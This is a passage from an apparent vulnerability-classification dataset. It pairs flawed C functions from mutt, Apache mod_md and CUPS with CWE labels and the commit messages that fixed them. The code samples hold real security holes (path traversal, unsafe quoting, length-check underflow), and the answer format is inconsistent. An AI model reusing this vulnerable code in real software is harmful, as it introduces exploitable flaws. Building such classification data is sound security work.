header: done (i.e. keep in cache) */\n if (ctx->hdrs[i]->data && mutt_strcmp (ctx->hdrs[i]->data, id) == 0)\n return 0;\n\n /* message not found in context -> remove it from cache\n * return the result of bcache, so we stop upon its first error\n */\n return mutt_bcache_del (bcache, id);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Sanitize POP bcache paths.\n\nProtect against bcache directory path traversal for UID values.\n\nThanks for Jeriko One for the bug report and patch, which this commit\nis based upon.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void imap_munge_mbox_name(struct ImapData *idata, char *dest, size_t dlen, const char *src)\n{\n char *buf = mutt_str_strdup(src);\n imap_utf_encode(idata, &buf);\n\n imap_quote_string(dest, dlen, buf);\n\n FREE(&buf);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-78', 'CWE-77'], 'message': 'quote imap strings more carefully\n\nCo-authored-by: JerikoOne '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void _imap_quote_string (char *dest, size_t dlen, const char *src,\n const char *to_quote)\n{\n char *pt;\n const char *s;\n\n pt = dest;\n s = src;\n\n *pt++ = '\"';\n /* save room for trailing quote-char */\n dlen -= 2;\n\n for (; *s && dlen; s++)\n {\n if (strchr (to_quote, *s))\n {\n dlen -= 2;\n if (!dlen)\n\tbreak;\n *pt++ = '\\\\';\n *pt++ = *s;\n }\n else\n {\n *pt++ = *s;\n dlen--;\n }\n }\n *pt++ = '\"';\n *pt = 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-191', 'CWE-787'], 'message': 'Fix imap_quote_string() length check errors.\n\nThe function wasn't properly checking for dlen<2 before quoting, and\nwasn't properly pre-adjusting dlen to include the initial quote.\n\nThanks to Jeriko One for reporting these issues.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static const char *md_config_set_notify_cmd(cmd_parms *cmd, void *arg, const char *value)\n{\n md_srv_conf_t *sc = md_config_get(cmd->server);\n const char *err = ap_check_cmd_context(cmd, GLOBAL_ONLY);\n\n if (err) {\n return err;\n }\n sc->mc->notify_cmd = value;\n (void)arg;\n return NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'v1.1.12, notifycmd improvements'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: _ppdCreateFromIPP(char *buffer,\t/* I - Filename buffer */\n size_t bufsize,\t/* I - Size of filename buffer */\n\t\t ipp_t *response)\t/* I - Get-Printer-Attributes response */\n{\n cups_file_t\t\t*fp;\t\t/* PPD file */\n cups_array_t\t\t*sizes;\t\t/* Media sizes we've added */\n ipp_attribute_t\t*attr,\t\t/* xxx-supported */\n\t\t\t*defattr,\t/* xxx-default */\n\t\t\t*x_dim, *y_dim;\t/* Media dimensions */\n ipp_t\t\t\t*media_size;\t/* Media size collection */\n char\t\t\tmake[256],\t/* Make and model */\n\t\t\t*model,\t\t/* Model name */\n\t\t\tppdname[PPD_MAX_NAME];\n\t\t \t\t\t/* PPD keyword */\n int\t\t\ti, j,\t\t/* Looping vars */\n\t\t\tcount,\t\t/* Number of values */\n\t\t\tbottom,\t\t/* Largest bottom margin */\n\t\t\tleft,\t\t/* Largest left margin */\n\t\t\tright,\t\t/* Largest right margin */\n\t\t\ttop,\t\t/* Largest top margin */\n\t\t\tis_apple = 0,\t/* Does the printer support Apple raster? */\n\t\t\tis_pdf = 0,\t/* Does the printer support PDF? */\n\t\t\tis_pwg = 0;\t/* Does the printer support PWG Raster? */\n pwg_media_t\t\t*pwg;\t\t/* PWG media size */\n int\t\t\txres, yres;\t/* Resolution values */\n cups_lang_t\t\t*lang = cupsLangDefault();\n\t\t\t\t\t/* Localization info */\n struct lconv\t\t*loc = localeconv();\n\t\t\t\t\t/* Locale data */\n static const char * const finishings[][2] =\n {\t\t\t\t\t/* Finishings strings */\n { \"bale\", _(\"Bale\") },\n { \"bind\", _(\"Bind\") },\n { \"bind-bottom\", _(\"Bind (Reverse Landscape)\") },\n { \"bind-left\", _(\"Bind (Portrait)\") },\n { \"bind-right\", _(\"Bind (Reverse Portrait)\") },\n { \"bind-top\", _(\"Bind (Landscape)\") },\n { \"booklet-maker\", _(\"Booklet Maker\") },\n { \"coat\", _(\"Coat\") },\n { \"cover\", _(\"Cover\") },\n { \"edge-stitch\", _(\"Staple Edge\") },\n { \"edge-stitch-bottom\", _(\"Staple Edge (Reverse Landscape)\") },\n { \"edge-stitch-left\", _(\"Staple Edge (Portrait)\") },\n { \"edge-stitch-right\", _(\"Staple Edge (Reverse Portrait)\") },\n { \"edge-stitch-top\", _(\"Staple Edge (Landscape)\") },\n { \"fold\", _(\"Fold\") },\n { \"fold-accordian\", _(\"Accordian Fold\") },\n { \"fold-double-gate\", _(\"Double Gate Fold\") },\n { \"fold-engineering-z\", _(\"Engineering Z Fold\") },\n { \"fold-gate\", _(\"Gate Fold\") },\n { \"fold-half\", _(\"Half Fold\") },\n { \"fold-half-z\", _(\"Half Z Fold\") },\n { \"fold-left-gate\", _(\"Left Gate Fold\") },\n { \"fold-letter\", _(\"Letter Fold\") },\n { \"fold-parallel\", _(\"Parallel Fold\") },\n { \"fold-poster\", _(\"Poster Fold\") },\n { \"fold-right-gate\", _(\"Right Gate Fold\") },\n { \"fold-z\", _(\"Z Fold\") },\n { \"jog-offset\", _(\"Jog\") },\n { \"laminate\", _(\"Laminate\") },\n { \"punch\", _(\"Punch\") },\n { \"punch-bottom-left\", _(\"Single Punch (Reverse Landscape)\") },\n { \"punch-bottom-right\", _(\"Single Punch (Reverse Portrait)\") },\n { \"punch-double-bottom\", _(\"2-Hole Punch (Reverse Portrait)\") },\n { \"punch-double-left\", _(\"2-Hole Punch (Reverse Landscape)\") },\n { \"punch-double-right\", _(\"2-Hole Punch (Landscape)\") },\n { \"punch-double-top\", _(\"2-Hole Punch (Portrait)\") },\n { \"punch-quad-bottom\", _(\"4-Hole Punch (Reverse Landscape)\") },\n { \"punch-quad-left\", _(\"4-Hole Punch (Portrait)\") },\n { \"punch-quad-right\", _(\"4-Hole Punch (Reverse Portrait)\") },\n { \"punch-quad-top\", _(\"4-Hole Punch (Landscape)\") },\n { \"punch-top-left\", _(\"Single Punch (Portrait)\") },\n { \"punch-top-right\", _(\"Single Punch (Landscape)\") },\n { \"punch-triple-bottom\", _(\"3-Hole Punch (Reverse Landscape)\") },\n { \"punch-triple-left\", _(\"3-Hole Punch (Portrait)\") },\n { \"punch-triple-right\", _(\"3-Hole Punch (Reverse Portrait)\") },\n { \"punch-triple-top\", _(\"3-Hole Punch (Landscape)\") },\n { \"punch-multiple-bottom\", _(\"Multi-Hole Punch (Reverse Landscape)\") },\n { \"punch-multiple-left\", _(\"Multi-Hole Punch (Portrait)\") },\n { \"punch-multiple-right\", _(\"Multi-Hole Punch (Reverse Portrait)\") },\n { \"punch-multiple-top\", _(\"Multi-Hole Punch (Landscape)\") },\n { \"saddle-stitch\", _(\"Saddle Stitch\") },\n { \"staple\", _(\"Staple\") },\n { \"staple-bottom-left\", _(\"Single Staple (Reverse Landscape)\") },\n { \"staple-bottom-right\", _(\"Single Staple (Reverse Portrait)\") },\n { \"staple-dual-bottom\", _(\"Double Staple (Reverse Landscape)\") },\n { \"staple-dual-left\", _(\"Double Staple (Portrait)\") },\n { \"staple-dual-right\", _(\"Double Staple (Reverse Portrait)\") },\n { \"staple-dual-top\", _(\"Double Staple (Landscape)\") },\n { \"staple-top-left\", _(\"Single Staple (Portrait)\") },\n { \"staple-top-right\", _(\"Single Staple (Landscape)\") },\n { \"staple-triple-bottom\", _(\"Triple Staple (Reverse Landscape)\") },\n { \"staple-triple-left\", _(\"Triple Staple (Portrait)\") },\n { \"staple-triple-right\", _(\"Triple Staple (Reverse Portrait)\") },\n { \"staple-triple-top\", _(\"Triple Staple (Landscape)\") },\n { \"trim\", _(\"Cut Media\") }\n };\n\n\n /*\n * Range check input...\n */\n\n if (buffer)\n *buffer = '\\0';\n\n if (!buffer || bufsize < 1 || !response)\n return (NULL);\n\n /*\n * Open a temporary file for the PPD...\n */\n\n if ((fp = cupsTempFile2(buffer, (int)bufsize)) == NULL)\n return (NULL);\n\n /*\n * Standard stuff for PPD file...\n */\n\n cupsFilePuts(fp, \"*PPD-Adobe: \\\"4.3\\\"\\n\");\n cupsFilePuts(fp, \"*FormatVersion: \\\"4.3\\\"\\n\");\n cupsFilePrintf(fp, \"*FileVersion: \\\"%d.%d\\\"\\n\", CUPS_VERSION_MAJOR, CUPS_VERSION_MINOR);\n cupsFilePuts(fp, \"*LanguageVersion: English\\n\");\n cupsFilePuts(fp, \"*LanguageEncoding: ISOLatin1\\n\");\n cupsFilePuts(fp, \"*PSVersion: \\\"(3010.000) 0\\\"\\n\");\n cupsFilePuts(fp, \"*LanguageLevel: \\\"3\\\"\\n\");\n cupsFilePuts(fp, \"*FileSystem: False\\n\");\n cupsFilePuts(fp, \"*PCFileName: \\\"ippeve.ppd\\\"\\n\");\n\n if ((attr = ippFindAttribute(response, \"printer-make-and-model\", IPP_TAG_TEXT)) != NULL)\n strlcpy(make, ippGetString(attr, 0, NULL), sizeof(make));\n else\n strlcpy(make, \"Unknown Printer\", sizeof(make));\n\n if (!_cups_strncasecmp(make, \"Hewlett Packard \", 16) ||\n !_cups_strncasecmp(make, \"Hewlett-Packard \", 16))\n {\n model = make + 16;\n strlcpy(make, \"HP\", sizeof(make));\n }\n else if ((model = strchr(make, ' ')) != NULL)\n *model++ = '\\0';\n else\n model = make;\n\n cupsFilePrintf(fp, \"*Manufacturer: \\\"%s\\\"\\n\", make);\n cupsFilePrintf(fp, \"*ModelName: \\\"%s\\\"\\n\", model);\n cupsFilePrintf(fp, \"*Product: \\\"(%s)\\\"\\n\", model);\n cupsFilePrintf(fp, \"*NickName: \\\"%s\\\"\\n\", model);\n cupsFilePrintf(fp, \"*ShortNickName: \\\"%s\\\"\\n\", model);\n\n if ((attr = ippFindAttribute(response, \"color-supported\", IPP_TAG_BOOLEAN)) != NULL && ippGetBoolean(attr, 0))\n cupsFilePuts(fp, \"*ColorDevice: True\\n\");\n else\n cupsFilePuts(fp, \"*ColorDevice: False\\n\");\n\n cupsFilePrintf(fp, \"*cupsVersion: %d.%d\\n\", CUPS_VERSION_MAJOR, CUPS_VERSION_MINOR);\n cupsFilePuts(fp, \"*cupsSNMPSupplies: False\\n\");\n cupsFilePuts(fp, \"*cupsLanguages: \\\"en\\\"\\n\");\n\n /*\n * Filters...\n */\n\n if ((attr = ippFindAttribute(response, \"document-format-supported\", IPP_TAG_MIMETYPE)) != NULL)\n {\n is_apple = ippContainsString(attr, \"image/urf\");\n is_pdf = ippContainsString(attr, \"application/pdf\");\n is_pwg = ippContainsString(attr, \"image/pwg-raster\");\n\n for (i = 0, count = ippGetCount(attr); i < count; i ++)\n {\n const char *format = ippGetString(attr, i, NULL);\n\t\t\t\t\t/* PDL */\n\n /*\n * Write cupsFilter2 lines for supported formats, except for PostScript\n * (which has compatibility problems over IPP with some vendors), text,\n * TIFF, and vendor MIME media types...\n */\n\n if (!_cups_strcasecmp(format, \"application/pdf\"))\n cupsFilePuts(fp, \"*cupsFilter2: \\\"application/vnd.cups-pdf application/pdf 10 -\\\"\\n\");\n else if (!_cups_strcasecmp(format, \"image/jpeg\") || !_cups_strcasecmp(format, \"image/png\"))\n cupsFilePrintf(fp, \"*cupsFilter2: \\\"%s %s 0 -\\\"\\n\", format, format);\n else if (!_cups_strcasecmp(format, \"image/pwg-raster\") || !_cups_strcasecmp(format, \"image/urf\"))\n cupsFilePrintf(fp, \"*cupsFilter2: \\\"%s %s 100 -\\\"\\n\", format, format);\n else if (_cups_strcasecmp(format, \"application/octet-stream\") && _cups_strcasecmp(format, \"application/postscript\") && _cups_strncasecmp(format, \"application/vnd.\", 16) && _cups_strncasecmp(format, \"image/vnd.\", 10) && _cups_strcasecmp(format, \"image/tiff\") && _cups_strncasecmp(format, \"text/\", 5))\n cupsFilePrintf(fp, \"*cupsFilter2: \\\"%s %s 10 -\\\"\\n\", format, format);\n }\n }\n\n if (!is_apple && !is_pdf && !is_pwg)\n goto bad_ppd;\n\n /*\n * PageSize/PageRegion/ImageableArea/PaperDimension\n */\n\n if ((attr = ippFindAttribute(response, \"media-bottom-margin-supported\", IPP_TAG_INTEGER)) != NULL)\n {\n for (i = 1, bottom = ippGetInteger(attr, 0), count = ippGetCount(attr); i < count; i ++)\n if (ippGetInteger(attr, i) > bottom)\n bottom = ippGetInteger(attr, i);\n }\n else\n bottom = 1270;\n\n if ((attr = ippFindAttribute(response, \"media-left-margin-supported\", IPP_TAG_INTEGER)) != NULL)\n {\n for (i = 1, left = ippGetInteger(attr, 0), count = ippGetCount(attr); i < count; i ++)\n if (ippGetInteger(attr, i) > left)\n left = ippGetInteger(attr, i);\n }\n else\n left = 635;\n\n if ((attr = ippFindAttribute(response, \"media-right-margin-supported\", IPP_TAG_INTEGER)) != NULL)\n {\n for (i = 1, right = ippGetInteger(attr, 0), count = ippGetCount(attr); i < count; i ++)\n if (ippGetInteger(attr, i) > right)\n right = ippGetInteger(attr, i);\n }\n else\n right = 635;\n\n if ((attr = ippFindAttribute(response, \"media-top-margin-supported\", IPP_TAG_INTEGER)) != NULL)\n {\n for (i = 1, top = ippGetInteger(attr, 0), count = ippGetCount(attr); i < count; i ++)\n if (ippGetInteger(attr, i) > top)\n top = ippGetInteger(attr, i);\n }\n else\n top = 1270;\n\n if ((defattr = ippFindAttribute(response, \"media-col-default\", IPP_TAG_BEGIN_COLLECTION)) != NULL)\n {\n if ((attr = ippFindAttribute(ippGetCollection(defattr, 0), \"media-size\", IPP_TAG_BEGIN_COLLECTION)) != NULL)\n {\n media_size = ippGetCollection(attr, 0);\n x_dim = ippFindAttribute(media_size, \"x-dimension\", IPP_TAG_INTEGER);\n y_dim = ippFindAttribute(media_size, \"y-dimension\", IPP_TAG_INTEGER);\n\n if (x_dim && y_dim && (pwg = pwgMediaForSize(ippGetInteger(x_dim, 0), ippGetInteger(y_dim, 0))) != NULL)\n\tstrlcpy(ppdname, pwg->ppd, sizeof(ppdname));\n else\n\tstrlcpy(ppdname, \"Unknown\", sizeof(ppdname));\n }\n else\n strlcpy(ppdname, \"Unknown\", sizeof(ppdname));\n }\n else if ((pwg = pwgMediaForPWG(ippGetString(ippFindAttribute(response, \"media-default\", IPP_TAG_ZERO), 0, NULL))) != NULL)\n strlcpy(ppdname, pwg->ppd, sizeof(ppdname));\n else\n strlcpy(ppdname, \"Unknown\", sizeof(ppdname));\n\n if ((attr = ippFindAttribute(response, \"media-size-supported\", IPP_TAG_BEGIN_COLLECTION)) == NULL)\n attr = ippFindAttribute(response, \"media-supported\", IPP_TAG_ZERO);\n if (attr)\n {\n cupsFilePrintf(fp, \"*OpenUI *PageSize: PickOne\\n\"\n\t\t \"*OrderDependency: 10 AnySetup *PageSize\\n\"\n \"*DefaultPageSize: %s\\n\", ppdname);\n\n sizes = cupsArrayNew3((cups_array_func_t)strcmp, NULL, NULL, 0, (cups_acopy_func_t)strdup, (cups_afree_func_t)free);\n\n for (i = 0, count = ippGetCount(attr); i < count; i ++)\n {\n if (ippGetValueTag(attr) == IPP_TAG_BEGIN_COLLECTION)\n {\n\tmedia_size = ippGetCollection(attr, i);\n\tx_dim = ippFindAttribute(media_size, \"x-dimension\", IPP_TAG_INTEGER);\n\ty_dim = ippFindAttribute(media_size, \"y-dimension\", IPP_TAG_INTEGER);\n\n\tpwg = pwgMediaForSize(ippGetInteger(x_dim, 0), ippGetInteger(y_dim, 0));\n }\n else\n pwg = pwgMediaForPWG(ippGetString(attr, i, NULL));\n\n if (pwg)\n {\n char\ttwidth[256],\t\t/* Width string */\n\t\ttlength[256];\t\t/* Length string */\n\n if (cupsArrayFind(sizes, (void *)pwg->ppd))\n {\n cupsFilePrintf(fp, \"*%% warning: Duplicate size '%s' reported by printer.\\n\", pwg->ppd);\n continue;\n }\n\n cupsArrayAdd(sizes, (void *)pwg->ppd);\n\n _cupsStrFormatd(twidth, twidth + sizeof(twidth), pwg->width * 72.0 / 2540.0, loc);\n _cupsStrFormatd(tlength, tlength + sizeof(tlength), pwg->length * 72.0 / 2540.0, loc);\n\n cupsFilePrintf(fp, \"*PageSize %s: \\\"<>setpagedevice\\\"\\n\", pwg->ppd, twidth, tlength);\n }\n }\n cupsFilePuts(fp, \"*CloseUI: *PageSize\\n\");\n\n cupsArrayDelete(sizes);\n sizes = cupsArrayNew3((cups_array_func_t)strcmp, NULL, NULL, 0, (cups_acopy_func_t)strdup, (cups_afree_func_t)free);\n\n cupsFilePrintf(fp, \"*OpenUI *PageRegion: PickOne\\n\"\n \"*OrderDependency: 10 AnySetup *PageRegion\\n\"\n \"*DefaultPageRegion: %s\\n\", ppdname);\n for (i = 0, count = ippGetCount(attr); i < count; i ++)\n {\n if (ippGetValueTag(attr) == IPP_TAG_BEGIN_COLLECTION)\n {\n\tmedia_size = ippGetCollection(attr, i);\n\tx_dim = ippFindAttribute(media_size, \"x-dimension\", IPP_TAG_INTEGER);\n\ty_dim = ippFindAttribute(media_size, \"y-dimension\", IPP_TAG_INTEGER);\n\n\tpwg = pwgMediaForSize(ippGetInteger(x_dim, 0), ippGetInteger(y_dim, 0));\n }\n else\n pwg = pwgMediaForPWG(ippGetString(attr, i, NULL));\n\n if (pwg)\n {\n char\ttwidth[256],\t\t/* Width string */\n\t\ttlength[256];\t\t/* Length string */\n\n if (cupsArrayFind(sizes, (void *)pwg->ppd))\n continue;\n\n cupsArrayAdd(sizes, (void *)pwg->ppd);\n\n _cupsStrFormatd(twidth, twidth + sizeof(twidth), pwg->width * 72.0 / 2540.0, loc);\n _cupsStrFormatd(tlength, tlength + sizeof(tlength), pwg->length * 72.0 / 2540.0, loc);\n\n cupsFilePrintf(fp, \"*PageRegion %s: \\\"<>setpagedevice\\\"\\n\", pwg->ppd, twidth, tlength);\n }\n }\n cupsFilePuts(fp, \"*CloseUI: *PageRegion\\n\");\n\n cupsArrayDelete(sizes);\n sizes = cupsArrayNew3((cups_array_func_t)strcmp, NULL, NULL, 0, (cups_acopy_func_t)strdup, (cups_afree_func_t)free);\n\n cupsFilePrintf(fp, \"*DefaultImageableArea: %s\\n\"\n\t\t \"*DefaultPaperDimension: %s\\n\", ppdname, ppdname);\n for (i = 0, count = ippGetCount(attr); i < count; i ++)\n {\n if (ippGetValueTag(attr) == IPP_TAG_BEGIN_COLLECTION)\n {\n\tmedia_size = ippGetCollection(attr, i);\n\tx_dim = ippFindAttribute(media_size, \"x-dimension\", IPP_TAG_INTEGER);\n\ty_dim = ippFindAttribute(media_size, \"y-dimension\", IPP_TAG_INTEGER);\n\n\tpwg = pwgMediaForSize(ippGetInteger(x_dim, 0), ippGetInteger(y_dim, 0));\n }\n else\n pwg = pwgMediaForPWG(ippGetString(attr, i, NULL));\n\n if (pwg)\n {\n char\ttleft[256],\t\t/* Left string */\n\t\ttbottom[256],\t\t/* Bottom string */\n\t\ttright[256],\t\t/* Right string */\n\t\tttop[256],\t\t/* Top string */\n\t\ttwidth[256],\t\t/* Width string */\n\t\ttlength[256];\t\t/* Length string */\n\n if (cupsArrayFind(sizes, (void *)pwg->ppd))\n continue;\n\n cupsArrayAdd(sizes, (void *)pwg->ppd);\n\n _cupsStrFormatd(tleft, tleft + sizeof(tleft), left * 72.0 / 2540.0, loc);\n _cupsStrFormatd(tbottom, tbottom + sizeof(tbottom), bottom * 72.0 / 2540.0, loc);\n _cupsStrFormatd(tright, tright + sizeof(tright), (pwg->width - right) * 72.0 / 2540.0, loc);\n _cupsStrFormatd(ttop, ttop + sizeof(ttop), (pwg->length - top) * 72.0 / 2540.0, loc);\n _cupsStrFormatd(twidth, twidth + sizeof(twidth), pwg->width * 72.0 / 2540.0, loc);\n _cupsStrFormatd(tlength, tlength + sizeof(tlength), pwg->length * 72.0 / 2540.0, loc);\n\n cupsFilePrintf(fp, \"*ImageableArea %s: \\\"%s %s %s %s\\\"\\n\", pwg->ppd, tleft, tbottom, tright, ttop);\n cupsFilePrintf(fp, \"*PaperDimension %s: \\\"%s %s\\\"\\n\", pwg->ppd, twidth, tlength);\n }\n }\n\n cupsArrayDelete(sizes);\n }\n else\n goto bad_ppd;\n\n /*\n * InputSlot...\n */\n\n if ((attr = ippFindAttribute(ippGetCollection(defattr, 0), \"media-source\", IPP_TAG_ZERO)) != NULL)\n pwg_ppdize_name(ippGetString(attr, 0, NULL), ppdname, sizeof(ppdname));\n else\n strlcpy(ppdname, \"Unknown\", sizeof(ppdname));\n\n if ((attr = ippFindAttribute(response, \"media-source-supported\", IPP_TAG_ZERO)) != NULL && (count = ippGetCount(attr)) > 1)\n {\n static const char * const sources[][2] =\n {\t\t\t\t\t/* \"media-source\" strings */\n { \"Auto\", _(\"Automatic\") },\n { \"Main\", _(\"Main\") },\n { \"Alternate\", _(\"Alternate\") },\n { \"LargeCapacity\", _(\"Large Capacity\") },\n { \"Manual\", _(\"Manual\") },\n { \"Envelope\", _(\"Envelope\") },\n { \"Disc\", _(\"Disc\") },\n { \"Photo\", _(\"Photo\") },\n { \"Hagaki\", _(\"Hagaki\") },\n { \"MainRoll\", _(\"Main Roll\") },\n { \"AlternateRoll\", _(\"Alternate Roll\") },\n { \"Top\", _(\"Top\") },\n { \"Middle\", _(\"Middle\") },\n { \"Bottom\", _(\"Bottom\") },\n { \"Side\", _(\"Side\") },\n { \"Left\", _(\"Left\") },\n { \"Right\", _(\"Right\") },\n { \"Center\", _(\"Center\") },\n { \"Rear\", _(\"Rear\") },\n { \"ByPassTray\", _(\"Multipurpose\") },\n { \"Tray1\", _(\"Tray 1\") },\n { \"Tray2\", _(\"Tray 2\") },\n { \"Tray3\", _(\"Tray 3\") },\n { \"Tray4\", _(\"Tray 4\") },\n { \"Tray5\", _(\"Tray 5\") },\n { \"Tray6\", _(\"Tray 6\") },\n { \"Tray7\", _(\"Tray 7\") },\n { \"Tray8\", _(\"Tray 8\") },\n { \"Tray9\", _(\"Tray 9\") },\n { \"Tray10\", _(\"Tray 10\") },\n { \"Tray11\", _(\"Tray 11\") },\n { \"Tray12\", _(\"Tray 12\") },\n { \"Tray13\", _(\"Tray 13\") },\n { \"Tray14\", _(\"Tray 14\") },\n { \"Tray15\", _(\"Tray 15\") },\n { \"Tray16\", _(\"Tray 16\") },\n { \"Tray17\", _(\"Tray 17\") },\n { \"Tray18\", _(\"Tray 18\") },\n { \"Tray19\", _(\"Tray 19\") },\n { \"Tray20\", _(\"Tray 20\") },\n { \"Roll1\", _(\"Roll 1\") },\n { \"Roll2\", _(\"Roll 2\") },\n { \"Roll3\", _(\"Roll 3\") },\n { \"Roll4\", _(\"Roll 4\") },\n { \"Roll5\", _(\"Roll 5\") },\n { \"Roll6\", _(\"Roll 6\") },\n { \"Roll7\", _(\"Roll 7\") },\n { \"Roll8\", _(\"Roll 8\") },\n { \"Roll9\", _(\"Roll 9\") },\n { \"Roll10\", _(\"Roll 10\") }\n };\n\n cupsFilePrintf(fp, \"*OpenUI *InputSlot: PickOne\\n\"\n \"*OrderDependency: 10 AnySetup *InputSlot\\n\"\n \"*DefaultInputSlot: %s\\n\", ppdname);\n for (i = 0, count = ippGetCount(attr); i < count; i ++)\n {\n pwg_ppdize_name(ippGetString(attr, i, NULL), ppdname, sizeof(ppdname));\n\n for (j = 0; j < (int)(sizeof(sources) / sizeof(sources[0])); j ++)\n if (!strcmp(sources[j][0], ppdname))\n\t{\n\t cupsFilePrintf(fp, \"*InputSlot %s/%s: \\\"<>setpagedevice\\\"\\n\", ppdname, _cupsLangString(lang, sources[j][1]), j);\n\t break;\n\t}\n }\n cupsFilePuts(fp, \"*CloseUI: *InputSlot\\n\");\n }\n\n /*\n * MediaType...\n */\n\n if ((attr = ippFindAttribute(ippGetCollection(defattr, 0), \"media-type\", IPP_TAG_ZERO)) != NULL)\n pwg_ppdize_name(ippGetString(attr, 0, NULL), ppdname, sizeof(ppdname));\n else\n strlcpy(ppdname, \"Unknown\", sizeof(ppdname));\n\n if ((attr = ippFindAttribute(response, \"media-type-supported\", IPP_TAG_ZERO)) != NULL && (count = ippGetCount(attr)) > 1)\n {\n static const char * const media_types[][2] =\n {\t\t\t\t\t/* \"media-type\" strings */\n { \"aluminum\", _(\"Aluminum\") },\n { \"auto\", _(\"Automatic\") },\n { \"back-print-film\", _(\"Back Print Film\") },\n { \"cardboard\", _(\"Cardboard\") },\n { \"cardstock\", _(\"Cardstock\") },\n { \"cd\", _(\"CD\") },\n { \"continuous\", _(\"Continuous\") },\n { \"continuous-long\", _(\"Continuous Long\") },\n { \"continuous-short\", _(\"Continuous Short\") },\n { \"disc\", _(\"Optical Disc\") },\n { \"disc-glossy\", _(\"Glossy Optical Disc\") },\n { \"disc-high-gloss\", _(\"High Gloss Optical Disc\") },\n { \"disc-matte\", _(\"Matte Optical Disc\") },\n { \"disc-satin\", _(\"Satin Optical Disc\") },\n { \"disc-semi-gloss\", _(\"Semi-Gloss Optical Disc\") },\n { \"double-wall\", _(\"Double Wall Cardboard\") },\n { \"dry-film\", _(\"Dry Film\") },\n { \"dvd\", _(\"DVD\") },\n { \"embossing-foil\", _(\"Embossing Foil\") },\n { \"end-board\", _(\"End Board\") },\n { \"envelope\", _(\"Envelope\") },\n { \"envelope-archival\", _(\"Archival Envelope\") },\n { \"envelope-bond\", _(\"Bond Envelope\") },\n { \"envelope-coated\", _(\"Coated Envelope\") },\n { \"envelope-cotton\", _(\"Cotton Envelope\") },\n { \"envelope-fine\", _(\"Fine Envelope\") },\n { \"envelope-heavyweight\", _(\"Heavyweight Envelope\") },\n { \"envelope-inkjet\", _(\"Inkjet Envelope\") },\n { \"envelope-lightweight\", _(\"Lightweight Envelope\") },\n { \"envelope-plain\", _(\"Plain Envelope\") },\n { \"envelope-preprinted\", _(\"Preprinted Envelope\") },\n { \"envelope-window\", _(\"Windowed Envelope\") },\n { \"fabric\", _(\"Fabric\") },\n { \"fabric-archival\", _(\"Archival Fabric\") },\n { \"fabric-glossy\", _(\"Glossy Fabric\") },\n { \"fabric-high-gloss\", _(\"High Gloss Fabric\") },\n { \"fabric-matte\", _(\"Matte Fabric\") },\n { \"fabric-semi-gloss\", _(\"Semi-Gloss Fabric\") },\n { \"fabric-waterproof\", _(\"Waterproof Fabric\") },\n { \"film\", _(\"Film\") },\n { \"flexo-base\", _(\"Flexo Base\") },\n { \"flexo-photo-polymer\", _(\"Flexo Photo Polymer\") },\n { \"flute\", _(\"Flute\") },\n { \"foil\", _(\"Foil\") },\n { \"full-cut-tabs\", _(\"Full Cut Tabs\") },\n { \"glass\", _(\"Glass\") },\n { \"glass-colored\", _(\"Glass Colored\") },\n { \"glass-opaque\", _(\"Glass Opaque\") },\n { \"glass-surfaced\", _(\"Glass Surfaced\") },\n { \"glass-textured\", _(\"Glass Textured\") },\n { \"gravure-cylinder\", _(\"Gravure Cylinder\") },\n { \"image-setter-paper\", _(\"Image Setter Paper\") },\n { \"imaging-cylinder\", _(\"Imaging Cylinder\") },\n { \"labels\", _(\"Labels\") },\n { \"labels-colored\", _(\"Colored Labels\") },\n { \"labels-glossy\", _(\"Glossy Labels\") },\n { \"labels-high-gloss\", _(\"High Gloss Labels\") },\n { \"labels-inkjet\", _(\"Inkjet Labels\") },\n { \"labels-matte\", _(\"Matte Labels\") },\n { \"labels-permanent\", _(\"Permanent Labels\") },\n { \"labels-satin\", _(\"Satin Labels\") },\n { \"labels-security\", _(\"Security Labels\") },\n { \"labels-semi-gloss\", _(\"Semi-Gloss Labels\") },\n { \"laminating-foil\", _(\"Laminating Foil\") },\n { \"letterhead\", _(\"Letterhead\") },\n { \"metal\", _(\"Metal\") },\n { \"metal-glossy\", _(\"Metal Glossy\") },\n { \"metal-high-gloss\", _(\"Metal High Gloss\") },\n { \"metal-matte\", _(\"Metal Matte\") },\n { \"metal-satin\", _(\"Metal Satin\") },\n { \"metal-semi-gloss\", _(\"Metal Semi Gloss\") },\n { \"mounting-tape\", _(\"Mounting Tape\") },\n { \"multi-layer\", _(\"Multi Layer\") },\n { \"multi-part-form\", _(\"Multi Part Form\") },\n { \"other\", _(\"Other\") },\n { \"paper\", _(\"Paper\") },\n { \"photographic\", _(\"Photo Paper\") },\n { \"photographic-archival\", _(\"Photographic Archival\") },\n { \"photographic-film\", _(\"Photo Film\") },\n { \"photographic-glossy\", _(\"Glossy Photo Paper\") },\n { \"photographic-high-gloss\", _(\"High Gloss Photo Paper\") },\n { \"photographic-matte\", _(\"Matte Photo Paper\") },\n { \"photographic-satin\", _(\"Satin Photo Paper\") },\n { \"photographic-semi-gloss\", _(\"Semi-Gloss Photo Paper\") },\n { \"plastic\", _(\"Plastic\") },\n { \"plastic-archival\", _(\"Plastic Archival\") },\n { \"plastic-colored\", _(\"Plastic Colored\") },\n { \"plastic-glossy\", _(\"Plastic Glossy\") },\n { \"plastic-high-gloss\", _(\"Plastic High Gloss\") },\n { \"plastic-matte\", _(\"Plastic Matte\") },\n { \"plastic-satin\", 